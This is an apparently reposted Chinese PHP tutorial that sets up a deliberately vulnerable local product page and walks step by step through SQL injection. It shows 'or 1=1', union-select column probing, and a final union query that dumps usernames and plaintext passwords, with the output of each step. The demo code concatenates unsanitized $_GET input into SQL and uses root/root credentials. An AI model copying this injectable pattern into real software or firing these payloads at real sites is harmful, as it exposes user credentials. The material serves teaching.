本篇文章介紹的內容是一個PHP的SQL注入完整程序,現在分享給大家,有需要的朋友可以參考一下
希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限于:分布式架構、高可擴展、高性能、高并發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要的可以加入我的官方群點擊此處,
學了SQL注入的一些技能后,以下正對PHP+MYSQL進行SQL注入的簡單實踐
首先觀察兩個MYSQL資料表
用戶記錄表:
REATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
產品記錄串列:
CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');
以下檔案是show_product.php用于顯示產品串列,SQL注入也是利用此檔案的SQL陳述句漏洞
<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "資料庫聯接錯誤";
exit;
}
if (!mysql_select_db("phpsql")) {
echo "選擇資料庫出錯" . mysql_error();
exit;
}
$tempID=$_GET['id'];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.'<br>';
$result = mysql_query($sql);
if (!$result) {
echo "查詢出錯" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "沒有查詢結果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo 'ID:'.$row["id"].'<br>';
echo 'name:'.$row["name"].'<br>';
echo 'price:'.$row["price"].'<br>';
echo 'image:'.$row["img"].'<br>';
}
?>
觀察此陳述句:$sql = "SELECT * FROM php_product WHERE id =$tempID";
$tempID是從$_GET得到,我們可以構造這個變數的值,從而達到SQL注入的目的
分別構造以下鏈接:
1、 http://localhost/phpsql/index.php?id=1
得到以下輸出
SELECT * FROM php_product WHERE id =1 //當前執行的SQL陳述句
//得到ID為1的產品資料串列
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、 http://localhost/phpsql/index.php?id=1 or 1=1
得到輸出
SELECT * FROM php_product WHERE id =1 or 1=1 //當前執行的SQL陳述句
//一共兩條產品資料串列
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到資料串列輸出,證明SQL陳述句執行成功
3、判斷資料表欄位數量
http://localhost/phpsql/index.php?id=1 union select 1,1,1,1
得到輸出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //當前執行的SQL陳述句
//一共兩條記錄,注意第二條的記錄為全1,這是union select聯合查詢的結果,
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判斷資料表欄位型別
http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)
得到輸出
SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二條記錄,如果后面的值等于A,說明這個欄位與union查詢后面構造的欄位型別相符,此時union后面
為char(65),表示字串型別,經過觀察,可以發現name欄位和image欄位的型別都是字串型別
5、大功告成,得到我們想要的東西:
http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user
得到輸出:
SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user
//輸出了兩條用戶資料,name為用戶名稱,image為用戶密碼,
ID:1
name:seven
price:1
image:seven_pwd
ID:1
name:swons
price:1
image:swons_pwd
注意URL中的ID=10000是為了不得到產品資料,只得到后面union的查詢結果,更具實際情況ID的值有所不同
union的username和password必須放在2和4的位置上,這樣才能和前面的select陳述句匹配,這是union查詢
陳述句的特點
備注:
這個簡單的注入方法是更具特定環境的,實際中比這復雜,但是原理是相同的,
以上內容希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限于:分布式架構、高可擴展、高性能、高并發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要的可以加入我的官方群點擊此處,
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/88086.html
標籤:PHP
上一篇:TP多條件查詢實體
